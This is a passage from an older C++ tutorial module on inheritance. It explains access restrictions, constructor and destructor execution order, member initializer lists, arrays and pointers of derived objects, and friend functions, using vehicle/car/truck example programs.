- The general rule is that all elements are inherited into the derived class at the most restrictive of the two
restrictions placed on them,

▪ The definition in the base class and


▪ The restriction on inheritance.

- This defines the way the elements are viewed outside of the derived class.

www.tenouk.com
- The elements are all inherited into the derived class such that they have the same level of protection
they had in the base class, as far as their visibility restrictions within the derived class.
- We have returned to use the protected instead of private in the base class; therefore the member
variables are available for use within the derived class only.
- In the this program, the only methods available for objects of the car class, are those that are defined
as part of the class itself, and therefore we only have the methods named initialize() and
passengers() available for use with objects of class car as shown below:

public:
void initialize(int input_wheels, double input_weight, int people = 4);
int passengers(void)
{return passenger_load;}

- When we declare an object of type car, it contains three variables. It contains the one defined as part
of its class named passenger_load and the two that are part of its base class, wheels and
weight as shown below:

...
int wheels;
double weight;
...

class car : private vehicle


{
int passenger_load;
...
}

- All are available for direct use within its methods because of the use of the keyword protected in
the base class. The variables are part of an object of class car when it is declared and are stored as part
of the object.
- You will notice that several of the output statements have been commented out in the main program
since they are no longer legal operations.
- Lines 60 through 62 have been commented out as shown below, because the methods named
get_weight() and wheel_load() are not available as members of the car class because we are
using private inheritance.

//cout<<"The sedan car weighs "<<sedan_car.get_weight()<<" kg.\n";


//cout<<"The sedan car's wheel loading is "<<sedan_car.wheel_load()<<" kg per
// tire.\n\n";

- You will notice that initialize() is still available but this is own by the car class, not the similar
method of the same name in the vehicle class (base class).

15.6 Data initialization

- Moving on to the use of the truck class in the main program, we find that lines 65 and 66 are
commented out as shown below, for the same reason as given above,

...
//trailer.initialize(18, 12500.0);
//this method is private now
...

- But lines 75 and 76 as shown below are commented out for an entirely different reason.

//cout<<"The trailer weighs "<<trailer.get_weight()<<" kg.\n";


//cout<<"The trailer's efficiency is "<<100.0 * trailer.efficiency()<<"%.\n";
...

- Even though the method named efficiency() is available and can be called as a part of the truck
class, it cannot be used because we have no way to initialize the wheels or weight of the truck
object.
- We can get the weight of the truck object, as we have done in line 87 as shown below,

weight = input_weight;

www.tenouk.com
- But since the weight has no way to be initialized, the result is meaningless and lines 75 and 76 are
commented out.
- The private inheritance is very similar to using an embedded object and, in fact, is rarely used. Until
you gain a lot of experience with C++ and the proper use of Object Oriented Programming, you should
use public inheritance exclusively.
- There are probably not so many reasons to use private or protected inheritance. They were
probably added to the language for completeness. Compile and run this program example.

15.6.1 Initializing All Data

- Examine the program example named inherit4.cpp, you will find that we have fixed the
initialization problem that we left dangling in the last program example.

1. //Program inherit4.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //------------base and derived class declaration part-------------
6. class vehicle
7. {
8. protected:
9. int wheels;
10. double weight;
11. public:
12. vehicle(void) {wheels = 7; weight = 11111.0;
13. cout<<"Constructor's value of the base class, vehicle"<<'\n';
14. cout<<"----------------------------------------------\n";}
15. void initialize(int input_wheels, double input_weight);
16. int get_wheels(void) {return wheels;}
17. double get_weight(void) {return weight;}
18. double wheel_load(void) {return (weight/wheels);}
19. };
20.
21. //public inheritance
22. class car : public vehicle //public inheritance
23. {
24. int passenger_load;
25. public:
26. car(void) {passenger_load = 4;
27. cout<<"Constructor's value of the derived class, car"<<'\n';
28. cout<<"---------------------------------------------\n";}
29. void initialize(int input_wheels, double input_weight, int people = 4);
30. int passengers(void) {return passenger_load;}
31. };
32.
33. class truck : public vehicle //public inheritance
34. {
35. int passenger_load;
36. double payload;
37. public:
38. truck(void) {passenger_load = 3;payload = 22222.0;
39. cout<<"Constructor's value of the derived class, truck"<<'\n';
40. cout<<"-----------------------------------------------\n";}
41. void init_truck(int how_many = 4, double max_load = 24000.0);
42. double efficiency(void);
43. int passengers(void) {return passenger_load;}
44. };
45.
46. //-----------------------------main program----------------------------
47. int main()
48. {
49. vehicle unicycle;
50.
51. //unicycle.initialize(1, 12.5);
52. //use default constructor value, so no need the
53. //initialization code for object unicycle anymore.
54. cout<<"The unicycle has "<<unicycle.get_wheels()<<" wheel.\n";
55. cout<<"The unicycle's wheel loading is "<<unicycle.wheel_load()<<" kg
56. on the single tire.\n";
57. cout<<"The unicycle weighs "<<unicycle.get_weight()<<" kg.\n\n";
58.
59. car sedan_car;
60. // use base class initialize() method
61. // sedan_car.initialize(4, 3500.0, 5);
62. cout<<"The sedan car carries "<<sedan_car.passengers()<<" passengers.\n";
63. cout<<"The sedan car weighs "<<sedan_car.get_weight()<<" kg.\n";

www.tenouk.com
64. cout<<"The sedan car's wheel loading is "<<sedan_car.wheel_load() <<
65. " kg per tire.\n\n";
66.
67. truck trailer;
68. //use base class initialize() method with default data
69. //trailer.initialize(18, 12500.0);
70. //trailer.init_truck(1, 33675.0);
71. cout<<"The trailer weighs "<<trailer.get_weight()<<" kg.\n";
72. cout<<"The trailer's efficiency is "<<100.0 * trailer.efficiency()<<" %.\n";
73.
74. system("pause");
75. return 0;
76. }
77.
78. //----------------class implementation part-------------------------
79. // initialize to any data desired
80. void vehicle::initialize(int input_wheels, double input_weight)
81. //base class method
82. {
83. wheels = input_wheels;
84. weight = input_weight;
85. }
86.
87. void car::initialize(int input_wheels, double input_weight, int people)
88. //derived class method
89. {
90. passenger_load = people;
91. wheels = input_wheels;
92. weight = input_weight;
93. }
94.
95. void truck::init_truck(int how_many, double max_load)
96. {
97. passenger_load = how_many;
98. payload = max_load;
99. }
100.
101. double truck::efficiency(void)
102. {
103. return (payload / (payload + weight));
104. }

104 Lines: Output:

- We also added default constructors to each of the classes so we can study how they are used when we
use inheritance; and we have returned to the use of public inheritance.
- When we create an object of the base class vehicle, there is no problem since inheritance is not a
factor. The constructor for the base class operates in exactly the same as all the constructors have in
previous Module.

www.tenouk.com
- You will notice that we create the unicycle object in line 49 as shown below, using the default
constructor and the object is initialized to the values contained in the constructor.

vehicle unicycle;

- Line 51 is commented out because we no longer need the initialization code for the object.

//unicycle.initialize(1, 12.5);

- When we define an object of the derived classes in line 59, as shown below, it is a little different
because not only do we need to call a constructor for the derived class; we have to worry about how we
get the base class initialized through its constructor also.

car sedan_car;

- Actually, it is no problem because the compiler will automatically call the default constructor for the
base class unless the derived class explicitly calls another constructor for the base class.
- We will explicitly call another constructor in the next program example, but for now we will only be
concerned about the default constructor for the base class that is called automatically.

15.7 Constructor Execution Order

- The next problem we need to be concerned about is the order of constructor execution, and it is easy to
remember if you remember the following statement, "C++ classes honor their base class by calling
their base constructor before they call their own”.
- In the previous program output, you can see that the base class constructor will be called before the
derived class constructor. This makes sense because it guarantees that the base class is properly
constructed when the constructor for the derived class is executed.
- This allows you to use some of the data from the base class during construction of the derived class.
- In this case, the vehicle part of the sedan_car object is constructed, and then the local portions of
the sedan_car object will be constructed, so that all member variables are properly initialized. This
is why we can comment out the initialize() method in line 61. It is not needed.

//sedan_car.initialize(4, 3500.0, 5);

- When we define a trailer object in line 67, it will also be constructed in the same manner. The
constructor for the base class is executed, and then the constructor for the derived class will be
executed.

truck trailer;

- The object is now fully defined and useable with default data in each member. Lines 69 and 70 are
therefore not needed and commented out as shown below:

//trailer.initialize(18, 12500.0);
//trailer.init_truck(1, 33675.0);

15.8 Destructor Execution Order

- As the objects go out of scope, they must have their destructors executed also, and since we didn't
define any, the default destructors will be executed.
- Once again, the destruction of the base class object named unicycle is no problem, its destructor is
executed and the object is gone.
- The sedan_car object however, must have two destructors executed to destroy each of its parts, the
base class part and the derived class part. The destructors for this object are executed in reverse order
from the order in which they were constructed.
- In other words, the object is dismantled in the opposite order from the order in which it was assembled.
The derived class destructor is executed first, then the base class destructor and the object is removed
from the allocation.
- Remember that every time an object is instantiated, every portion of it must have a constructor executed
on it. Every object must also have a destructor executed on each of its parts when it is destroyed in
order to properly dismantle the object and free up the allocation. Compile and run this program.

15.9 Inheritance And Constructors

www.tenouk.com
- Examine the program example named inherit5.cpp for another variation to our basic program, this
time using constructors that are more than just the default constructors.
- You will notice that each class has another constructor declared within it.

1. //Program inherit5.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //----------base and derived class declaration part------------
6. class vehicle
7. {
8. protected:
9. int wheels;
10. double weight;
11. public:
12. vehicle(void)
13. {
14. wheels = 7; weight = 11111.0;
15. cout<<"It is me!, Constructor #1, own by base class"<<'\n';
16. }
17.
18. vehicle(int input_wheels, double input_weight)
19. {
20. wheels = input_wheels; weight = input_weight;
21. cout<<"It is me!, Constructor #2, own by base class"<<'\n';
22. }
23.
24. void initialize(int input_wheels, double input_weight);
25. int get_wheels(void) {return wheels;}
26. double get_weight(void) {return weight;}
27. double wheel_load(void) {return (weight/wheels);}
28. };
29.
30. class car : public vehicle
31. {
32. int passenger_load;
33. public:
34. car(void)
35. {
36. passenger_load = 4; cout<<"It is me!, Constructor #3, derived class,
37. car"<<'\n';
38. }
39.
40. car(int people, int input_wheels, double input_weight):vehicle(input_wheels,
41. input_weight), passenger_load(people)
42. {
43. cout<<"It is me!, Constructor #4, derived class, car"<<'\n';
44. }
45.
46. void initialize(int input_wheels, double input_weight, int people = 4);
47. int passengers(void) {return passenger_load;}
48. };
49.
50. class truck : public vehicle
51. {
52. int passenger_load;
53. double payload;
54. public:
55. truck(void)
56. {
57. passenger_load = 3;
58. payload = 22222.0;
59. }
60. //the following code should be in one line....
61. truck(int people, double load, int input_wheels, double
62. input_weight):vehicle(input_wheels,
63. input_weight),passenger_load(people),
64. payload(load)
65. {
66.
67. cout<<"It is me!, Constructor #5, derived class, car"<<'\n';
68. }
69. void init_truck(int how_many = 4, double max_load = 24000.0);
70. double efficiency(void);
71. int passengers(void) {return passenger_load;}
72. };
73.

www.tenouk.com
74. //----------------------------main program---------------------------
75. int main()
76. {
77. vehicle unicycle(1, 12.5);
78.
79. // unicycle.initialize(1, 12.5);
80. cout<<"The unicycle has "<<unicycle.get_wheels()<<" wheel.\n";
81. cout<<"The unicycle's wheel load is "<<unicycle.wheel_load()<<
82. " kg on the single tire.\n";
83. cout<<"The unicycle weighs "<<unicycle.get_weight()<<" kg.\n\n";
84.
85. //Constructor in the car class called to construct an object,
86. //after base class constructor called
87. car sedan_car(5, 4, 3500.0);
88.
89. //constructor in the car class called to construct object
90. //sedan_car.initialize(4, 3500.0, 5);
91. cout<<"The sedan car carries "<<sedan_car.passengers()<<" passengers.\n";
92. cout<<"The sedan car weighs "<<sedan_car.get_weight()<<" kg.\n";
93. cout<<"The sedan car's wheel load is "<<sedan_car.wheel_load()<<
94. " kg per tire.\n\n";
95.
96. //Constructor in the base class called to construct an object
97. truck trailer(1, 33675.0, 18, 12500.0);
98.
99. //trailer.initialize(18, 12500.0);
100. //trailer.init_truck(1, 33675.0);
101. cout<<"The trailer weighs "<<trailer.get_weight()<<" kg.\n";
102. cout<<"The trailer's efficiency is "<<100.0 * trailer.efficiency()<<" %.\n";
103.
104. system("pause");
105. return 0;
106. }
107.
108. //----------base and derived class implementation part------
109. // initialize to any data desired
110. void vehicle::initialize(int input_wheels, double input_weight)
111. {
112. wheels = input_wheels;
113. weight = input_weight;
114. }
115.
116. void car::initialize(int input_wheels, double input_weight, int people)
117. {
118. passenger_load = people;
119. wheels = input_wheels;
120. weight = input_weight;
121. }
122.
123. void truck::init_truck(int how_many, double max_load)
124. {
125. passenger_load = how_many;
126. payload = max_load;
127. }
128.
129. double truck::efficiency(void)
130. {
131. return (payload / (payload + weight));
132. }

132 Lines: Output:

www.tenouk.com
- The additional constructor added to the vehicle class in lines 12 through 22 as shown below is
nothing special; it is just like some of the constructors we have studied earlier.

...
vehicle(void)
{
wheels = 7; weight = 11111.0;
cout<<"It is me!, Constructor #1, own by base class"<<'\n';
}

vehicle(int input_wheels, double input_weight)


{
wheels = input_wheels; weight = input_weight;
cout<<"It is me!, Constructor #2, own by base class"<<'\n';
}

- It is used in line 77 of the main program as shown below, where we define unicycle with two values
passed in to be used when executing this constructor.

vehicle unicycle(1, 12.5);

- The constructor for the car class which is declared in lines 34 through 44 as shown below is a little bit
different, because we pass in three values. One of the values, named people, is used within the
derived class itself to initialize the member variable named passenger_load.

...
car(void)
{
passenger_load = 4; cout<<"It is me!, Constructor #3, derived class,
car"<<'\n';
}

car(int people, int input_wheels, double input_weight):vehicle(input_wheels,


input_weight), passenger_load(people)
{
cout<<"It is me!, Constructor #4, derived class, car"<<'\n';
}

- The other two literal values however, must be passed to the base class somehow in order to initialize
the number of wheels and the weight.
- This is done by using a member initializer, and is illustrated in this constructor. The colon near the end
of line 40 as shown below indicates that a member initializer list follows, and all entities between the
colon and the opening brace of the constructor body are member initializers.

car(int people, int input_wheels, double input_weight):vehicle(input_wheels,


input_weight), passenger_load(people)

www.tenouk.com
- The first member initializer as shown below and looks like a constructor call to the vehicle class that
requires two input parameters.

...vehicle(input_wheels, input_weight)...

- That is exactly what it is, and it calls the constructor for the vehicle class and initializes that part of
the sedan_car object that is inherited from the vehicle class. We can therefore control which base
class initializer gets called when we construct an object of the derived class.
- The next member initializer, as shown below acts like a constructor for a simple variable. By
mentioning the name of the variable, passenger_load and including a value, people of the
correct type within the parentheses, that value is assigned to that variable even though the variable is
not a class, but a simple predefined type.

...passenger_load(people)

- This technique can be used to initialize all members of the derived class or any portion of them. When
all of the members of the member initializer list are executed, the code within the braces is executed.
- In this case, there is no code within the executable block of the constructor. The code within the braces
would be written in a normal manner for the constructor.

15.10 Execution Order

- This may seem to be very strange, but the elements of the member initializer list are not executed in the
order in which they appear in the list. The constructors for the inherited classes are executed first, in the
order of their declaration in the class header.
- When using multiple inheritance, (will be discussed in next Module) several classes can be listed in
the header line, but in this program, only one is used.
- The member variables are then initialized, but not in the order as given in the list, but in the order in
which they are declared in the class. Finally, the code within the constructor block is executed, if there
is any code in the block.
- The destructors must be executed in reverse order from the construction order, but if there are two
constructors with different construction order defined, which should define the destruction order? The
correct answer is neither. The system uses the declaration order for construction order and reverses it
for the destruction order.
- You will notice that the truck class uses one initializer for the base class constructor and two member
initializers, one to initialize the passenger_load, and another one to initialize the payload. The
body of the constructor, much like the car class, is almost empty. This should be put in one line or in
contiguous when you do the compiling.

truck(int people, double load, int input_wheels, double


input_weight):vehicle(input_wheels,
input_weight), passenger_load(people),
payload(load)

- The two constructors in the car class and the truck class are called to construct objects in lines 87
and 97 as shown below for a car and a truck object respectively as illustrations in this program
example.

...
car sedan_car(5, 4, 3500.0);
...
truck trailer(1, 33675.0, 18, 12500.0);
...

15.11 Pointer, Array And Objects

- Examine the program example named inherit6.cpp for examples of the use of an array of objects
and a pointer to an object.
- In this program, the objects are instantiated from an inherited class and the purpose of this program is to
illustrate that there is nothing special about a derived class. A class acts the same whether it is a base
class or a derived class.

1. //Program inherit6.cpp
2. #include <iostream.h>

www.tenouk.com
3.
4. #include <stdlib.h>
5.
6. //------------base and derived class declaration part------------
7. class vehicle
8. {
9. protected:
10. int wheels;
11. double weight;
12. public:
13. vehicle(void)
14. { wheels = 7; weight = 11111.0;
15. cout<<"Constructor #1, own by base class"<<'\n';}
16. vehicle(int input_wheels, double input_weight)
17. { wheels = input_wheels; weight = input_weight;
18. cout<<"Constructor #2, own by base class"<<'\n';}
19.
20. void initialize(int input_wheels, double input_weight);
21. int get_wheels(void) {return wheels;}
22. double get_weight(void) {return weight;}
23. double wheel_load(void) {return (weight/wheels);}
24. };
25.
26. class car : public vehicle
27. {
28. int passenger_load;
29. public:
30. car(void)
31. {passenger_load = 4; cout<<"Constructor #3, derived class, car"<<"\n\n";}
32.
33. car(int people, int input_wheels, double input_weight):vehicle(input_wheels,
34. input_weight),passenger_load(people)
35. {cout<<"Constructor #4 derived class, car"<<'\n'; }
36.
37. void initialize(int input_wheels, double input_weight, int people = 4);
38. int passengers(void) {return passenger_load;}
39. };
40.
41. class truck : public vehicle
42. {
43. int passenger_load;
44. double payload;
45. public:
46. truck(void)
47. {passenger_load = 3;
48. payload = 22222.0;}
49.
50. truck(int people, double load, int input_wheels, double
51. input_weight):vehicle(input_wheels,
52. input_weight),passenger_load(people),
53. payload(load)
54. { }
55. void init_truck(int how_many = 4, double max_load = 24000.0);
56. double efficiency(void);
57. int passengers(void) {return passenger_load;}
58. };
59.
60. //---------------------------main program-------------------------
61. int main()
62. {
63. vehicle unicycle;
64.
65. unicycle.initialize(1, 12.5);
66.
67. cout<<"The unicycle has " <<unicycle.get_wheels()<<" wheel.\n";
68. cout<<"The unicycle's wheel load is "<<unicycle.wheel_load()<<
69. " kg on the single tire.\n";
70. cout<<"The unicycle weighs "<<unicycle.get_weight()<<" kg.\n\n";
71.
72. car sedan_car[3];
73. //an array of object with 3 elements
74. int index;
75. //variable used for counter
76. for (index = 0 ; index < 3 ; index++)
77. //count and execute
78. {
79. sedan_car[index].initialize(4, 3500.0, 5);
80. cout<<"Count no. #" <<index<<'\n';
81. cout<<"The sedan car carries "<<sedan_car[index].passengers()<<"
82. passengers.\n";

www.tenouk.com
83. cout<<"The sedan car weighs "<<sedan_car[index].get_weight()<<" kg.\n";
84. cout<<"The sedan car's wheel load is "<<sedan_car[index].wheel_load()<<
85. " kg per tire.\n\n";
86. }
87.
88. truck *trailer; //pointer
89.
90. trailer = new truck;
91. //initialize to point to something...point to an object
92.
93. if (trailer == NULL)
94. {
95. cout<<"Memory allocation failed\n";
96. exit(EXIT_FAILURE);
97. }
98. trailer->initialize(18, 12500.0);
99. trailer->init_truck(1, 33675.0);
100. cout<<"The trailer weighs " << trailer->get_weight()<<" kg.\n";
101. cout<<"The trailer's efficiency is "<<100.0 * trailer->efficiency()<<
102. " %.\n";
103.
104. delete trailer;
105. //de-allocate the object
106.
107.
108. system("pause");
109. return 0;
110. }
111.
112. //---------base and derived class implementation part----------
113. // initialize to any data desired
114. void vehicle::initialize(int input_wheels, double input_weight)
115. {
116. wheels = input_wheels;
117. weight = input_weight;
118. }
119.
120. void car::initialize(int input_wheels, double input_weight, int people)
121. {
122. passenger_load = people;
123. wheels = input_wheels;
124. weight = input_weight;
125. }
126.
127. void truck::init_truck(int how_many, double max_load)
128. {
129. passenger_load = how_many;
130. payload = max_load;
131. }
132.
133. double truck::efficiency(void)
134. {
135. return (payload / (payload + weight));
136. }

136 Lines: Output:

www.tenouk.com
- This program is identical to the previous program until we get to the main() program where we find
an array of 3 objects of class car declared in line 72 as shown below:

car sedan_car[3];

- It should be obvious that any operation that is legal for a simple object is also legal for an object that is
part of an array, but we must tell the system which object of the array we are interested in by adding the
array subscript as we do in lines 79, 81, 83 and 84 as shown below:

sedan_car[index].initialize(4, 3500.0, 5);


cout<<"Count no. #" <<index<<'\n';
cout<<"The sedan car carries "<<sedan_car[index].passengers()<<" passengers.\n";
cout<<"The sedan car weighs "<<sedan_car[index].get_weight()<<" kg.\n";
cout<<"The sedan car's wheel load is "<<sedan_car[index].wheel_load()<<" kg per
tire.\n\n";

- You will notice, in line 88, we do not declare an object of type truck but a pointer to an object of
type truck. In order to use the pointer, we must give it something to point at which we do in line 90
by dynamically allocating an object size by using new keyword as shown below:

truck *trailer; //pointer

trailer = new truck;


//initialize to point to something...point to an object

- Once the pointer has an object to point to, we can use the object in the same way we would use any
object, but we must use the pointer notation to access any of the methods of the object. This is
illustrated for you in lines 98 through 101 as shown below:

trailer->initialize(18, 12500.0);
trailer->init_truck(1, 33675.0);
cout<<"The trailer weighs " << trailer->get_weight()<<" kg.\n";
cout<<"The trailer's efficiency is "<<100.0 * trailer->efficiency()<<" %.\n";

- Finally, we de-allocate the object in line 104 as shown below.

www.tenouk.com
delete trailer;
//de-allocate the object from memory

- Compile and run this program.

15.12 Friend Functions and class

- A function outside of a class can be defined to be a friend function by the class which gives the friend
function free access to the private or protected members of the class.
- This is done by preceding the function prototype in the class declaration with keyword friend. For
example:

private:
friend void set(int new_length, int new_width);
//friend method
friend int get_area(void) {return (length * width);}
//friend method

- So, set() and get_area() functions still can be used to access members of the class.
- This in effect, opens a small hole in the protective shield of the class, so it should be used very
carefully.
- A single isolated function can be declared as a friend, as well as members of other classes, and even
entire classes can be given friend status if needed in a program. Neither a constructor nor a destructor
can be a friend function.
- Friendship is granted, so for class Y to be a friend of class X, class X must declare that class Y is its
friend.
- Class friendship is not transitive: X friend of Y and Y friend of Z does not imply X friend of Z also is
not inherited.
- By using friend, you can see that it has weakened the data hiding. You should implement this only
when there is no way to solve your programming problem.
- Simple program example:

//Using friend function...


#include <iostream.h>
#include <stdlib.h>

class SampleFriend
{
//private member variable
int i;
friend int friend_funct(SampleFriend *, int);
//friend_funct is not private,
//even though it's declared in the private section
public:
//constructor
SampleFriend(void) { i = 0;};
int member_funct(int);
};

//implementation part, both functions access private int i


int friend_funct(SampleFriend *xptr, int a)
{
return xptr->i = a;
}

int SampleFriend::member_funct(int a)
{
return i = a;
}

main()
{
SampleFriend xobj;
//note the difference in function calls

cout<<"\nfriend_funct(&xobj, 10) is "<<friend_funct(&xobj, 10)<<"\n\n";


cout<<"xobj.member_funct(10) is "<<xobj.member_funct(10)<<endl;
system("pause");
}

Output:

www.tenouk.com
- You can make all or part of the functions of class, let say, Y, into friends of class X. For example,

class One
{
friend Two;
int i;
void member_funcOne();
};

class Two;
{
void friend_One1(One&);
void friend_One2(One*);
...
...
...
};

- The functions declared in Two are friends of One, although they have no friend specifiers. They can
access the private members of One, such as i and member_funcOne.

Program Examples and Experiments

//inheritance again...
//notice the sequence of the constructor
//and destructor, and private, public,
//protected usage...
#include <iostream.h>
#include <stdlib.h>

class Base
{
//available for this class member functions ONLY...
private:
int BaseVar;
int NewX;
int ExtraBaseVar;

//available to this and derived classes...


protected:
int BaseVarOne;

//available to the derived and outside classes...


public:
Base();
Base(int NewX);
~Base();
public:
int SetBaseData();
int ShowBaseData(){return BaseVar;}
int SimilarNameFunct();
};

class DerivedOne:public Base


{
//available to this class member functions ONLY...
private:
int DerivedOneVar;
int ExtraDerivedVar;

//available to the derived and outside classes...


public:
DerivedOne();
~DerivedOne();

www.tenouk.com
//available to the derived and outside classes...
public:
void SetDerivedOneData();
int ShowDerivedOneData()
{
//BaseVarOne is base class protected member
//variable, available to this derived class...
return (DerivedOneVar + BaseVarOne);
}
int SimilarNameFunct();
};

//base class constructor...


Base::Base()
{
BaseVar = 100;
//constructor counter...
static int p;
cout<<"Invoking base class constructor #"<<p<<endl;
p++;
}

//another base class constructor...


Base::Base(int)
{
//constructor counter...
static int t;
cout<<"Invoking 2nd base class constructor #"<<t<<endl;
t++;
BaseVar = NewX;
}

//base class member function...


int Base::SetBaseData()
{ return NewX = 230;}

int Base::SimilarNameFunct()
{return ExtraBaseVar = 170;}

//base class destructor...


Base::~Base()
{
//destructor counter...
static int q;
cout<<"Invoking base class destructor #"<<q<<endl;
q++;
}

//derived class constructor...


DerivedOne::DerivedOne()
{
DerivedOneVar = 200;
//this member variable is inherited from protected base class
BaseVarOne = 250;

//constructor counter...
static int r;
cout<<"Invoking derived class constructor #"<<r<<endl;
r++;
}

//derived class destructor...


DerivedOne::~DerivedOne()
{
//destructor counter...
static int s;
cout<<"Invoking derived class destructor #"<<s<<endl;
s++;
}

void DerivedOne::SetDerivedOneData()
{}

//same member function name as base class


//it is valid since they are from different class
int DerivedOne::SimilarNameFunct()
{return ExtraDerivedVar = 260;}

void main()
{

www.tenouk.com
//instantiate objects with class types...
Base ObjOne, ObjFour;
DerivedOne ObjTwo, ObjFive;

Base ObjThree;

cout<<"Base class data = "<<ObjOne.ShowBaseData()<<endl;


cout<<"SimilarNameFunct() of base class = "<<ObjFour.SimilarNameFunct()<<endl;
cout<<"DerivedOne class data = "<<ObjTwo.ShowDerivedOneData()<<endl;
cout<<"SimilarNameFunct() of derived class = "<<ObjFive.SimilarNameFunct()<<endl;
cout<<"Another base class data = "<<ObjThree.SetBaseData()<<endl;

system("pause");
}

Output:

- If you cannot see the full output in Borland, you have to use its debugger (Turbo Debugger). From the
output snapshot screen you can see that the destructors were invoked in the reverse order of the
constructors.
- From the output screen also we can conclude that the processes involved for objects are:

1. Allocating storage for the objects instantiation.


2. Processing the objects such as storing, assigning, displaying the objects data etc.
3. Finally destroy all the allocation and objects.

- Very nice huh!!!


- Program example compiled using VC++/VC++ .Net.

//Program inherit3.cpp
#include <iostream>
using namespace std;

//--------base and derived class declaration part--------------


class vehicle
{
protected:
int wheels;
double weight;

public:
void initialize(int input_wheels, double input_weight);
int get_wheels(void) {return wheels;}
double get_weight(void) {return weight;}
double wheel_load(void) {return (weight/wheels);}
};

//public keyword changed to private - private inheritance


class car : private vehicle

www.tenouk.com
{
int passenger_load;

public:
void initialize(int input_wheels, double input_weight, int people = 4);
int passengers(void) {return passenger_load;}
};

//public keyword change to private - private inheritance


class truck : private vehicle
{
int passenger_load;
double payload;
public:
void init_truck(int how_many = 4, double max_load = 24000.0);
double efficiency(void);
int passengers(void) {return passenger_load;}
};

//--------------main program-------------------
int main()
{
vehicle unicycle;
unicycle.initialize(1, 12.5);

cout<<"Using base class, vehicle with public methods\n";


cout<<"---------------------------------------------\n";
cout<<"The unicycle has "<<unicycle.get_wheels()<<" wheel.\n";
cout<<"The unicycle's wheel load is "<<unicycle.wheel_load()<<" kg on the single
tire.\n";
cout<<"The unicycle weighs "<<unicycle.get_weight()<<" kg.\n\n";

car sedan_car;
sedan_car.initialize(4, 3500.0, 5);

cout<<"\nThese two are public-->sedan_car.initialize(4,3500.0,5)\n";


cout<<" and sedan_car.passengers()\n";
cout<<"-------------------------------------------------------\n";
cout<<"The sedan car carries "<<sedan_car.passengers()<<" passengers.\n";
//methods get_weight() and wheel_load() not available
//because we use private inheritance
//cout<<"The sedan car weighs "<<sedan_car.get_weight()<<" kg.\n";
//cout<<"The sedan car's wheel loading is "<<sedan_car.wheel_load()<<" kg per
// tire.\n\n";

truck trailer;
//trailer.initialize(18, 12500.0);
//this method is private now
trailer.init_truck(1, 33675.0);

cout<<"\nThese are public-->trailer.init_truck(1, 33675.0),\n";


cout<<" trailer.efficiency() and trailer.passengers()\n";
cout<<"--------------------------------------------------\n";
cout<<"\nOthers are private...\n";
//methods get_weight() and efficiency() not available
//because we use private inheritance
//cout<<"The trailer weighs "<<trailer.get_weight()<<" kg.\n";
//cout<<"The trailer's efficiency is "<<100.0 * trailer.efficiency()<<" %.\n";
return 0;
}

//------------class implementation part-------------------------------


// initialize to any data desired, method own by base class
void vehicle::initialize(int input_wheels, double input_weight)
{
wheels = input_wheels;
weight = input_weight;
}

//method own by derived class


void car::initialize(int input_wheels, double input_weight, int people)
{ //wheels and weight still available because of the protected keyword
passenger_load = people;
wheels = input_wheels;
weight = input_weight;
}

void truck::init_truck(int how_many, double max_load)


{
passenger_load = how_many;

www.tenouk.com
payload = max_load;
}

double truck::efficiency(void)
{
return (payload / (payload + weight));
}

Output:

- Program example compiled using g++.

/////-herit.cpp-///////////////////////
//notice the sequence of the constructor
//and destructor, and the use of private,
//public and protected. The inheritance...
//////-FEDORA 3, g++ x.x.x-/////////////
#include <iostream>
using namespace std;

class Base
{
//available for this class member functions ONLY...
private:
int BaseVar;
int NewX;
int ExtraBaseVar;

//available to this and derived classes...


protected:
int BaseVarOne;

//available to the derived and outside classes...


public:
Base();
Base(int NewX);
~Base();
public:
int SetBaseData();
int ShowBaseData(){return BaseVar;}
int SimilarNameFunct();
};

class DerivedOne:public Base


{
//available to this class member functions ONLY...
private:
int DerivedOneVar;
int ExtraDerivedVar;

//available to the derived and outside classes...


public:
DerivedOne();
~DerivedOne();

www.tenouk.com
//available to the derived and outside classes...
public:
void SetDerivedOneData();
int ShowDerivedOneData()
{
//BaseVarOne is base class protected member
//variable, available to this derived class...
return (DerivedOneVar + BaseVarOne);
}
int SimilarNameFunct();
};

//base class constructor...


Base::Base()
{
BaseVar = 100;
//constructor counter...
static int p;
cout<<"Invoking base class constructor #"<<p<<endl;
p++;
}

//another base class constructor...


Base::Base(int)
{
//constructor counter...
static int t;
cout<<"Invoking 2nd base class constructor #"<<t<<endl;
t++;
BaseVar = NewX;
}

//base class member function...


int Base::SetBaseData()
{return NewX = 230;}

int Base::SimilarNameFunct()
{return ExtraBaseVar = 170;}

//base class destructor...


Base::~Base()
{
//destructor counter...
static int q;
cout<<"Invoking base class destructor #"<<q<<endl;
q++;
}

//derived class constructor...


DerivedOne::DerivedOne()
{
DerivedOneVar = 200;
//this member variable is inherited from protected base class
BaseVarOne = 250;

//constructor counter...
static int r;
cout<<"Invoking derived class constructor #"<<r<<endl;
r++;
}

//derived class destructor...


DerivedOne::~DerivedOne()
{
//destructor counter...
static int s;
cout<<"Invoking derived class destructor #"<<s<<endl;
s++;
}

void DerivedOne::SetDerivedOneData()
{}

//same member function name as base class


//it is valid since they are from different class
int DerivedOne::SimilarNameFunct()
{return ExtraDerivedVar = 260;}

int main()
{

www.tenouk.com
//instantiate objects with class types...
Base ObjOne, ObjFour;
DerivedOne ObjTwo, ObjFive;

Base ObjThree;

cout<<"Base class data = "<<ObjOne.ShowBaseData()<<endl;


cout<<"SimilarNameFunct() of base class = "<<ObjFour.SimilarNameFunct()<<endl;
cout<<"DerivedOne class data = "<<ObjTwo.ShowDerivedOneData()<<endl;
cout<<"SimilarNameFunct() of derived class = "<<ObjFive.SimilarNameFunct()<<endl;
cout<<"Another base class data = "<<ObjThree.SetBaseData()<<endl;
return 0;
}

[bodo@bakawali ~]$ g++ herit.cpp -o herit


[bodo@bakawali ~]$ ./herit

Invoking base class constructor #0


Invoking base class constructor #1
Invoking base class constructor #2
Invoking derived class constructor #0
Invoking base class constructor #3
Invoking derived class constructor #1
Invoking base class constructor #4
Base class data = 100
SimilarNameFunct() of base class = 170
DerivedOne class data = 450
SimilarNameFunct() of derived class = 260
Another base class data = 230
Invoking base class destructor #0
Invoking derived class destructor #0
Invoking base class destructor #1
Invoking derived class destructor #1
Invoking base class destructor #2
Invoking base class destructor #3
Invoking base class destructor #4

------------------------------------------------o0o--------------------------------------------------

Further reading and digging:

1. Check the best selling C/C++ and object oriented books at Amazon.com.

www.tenouk.com
MODULE 16
MULTI INHERITANCE

My Training Period: hours

Abilities

Able to understand and use:

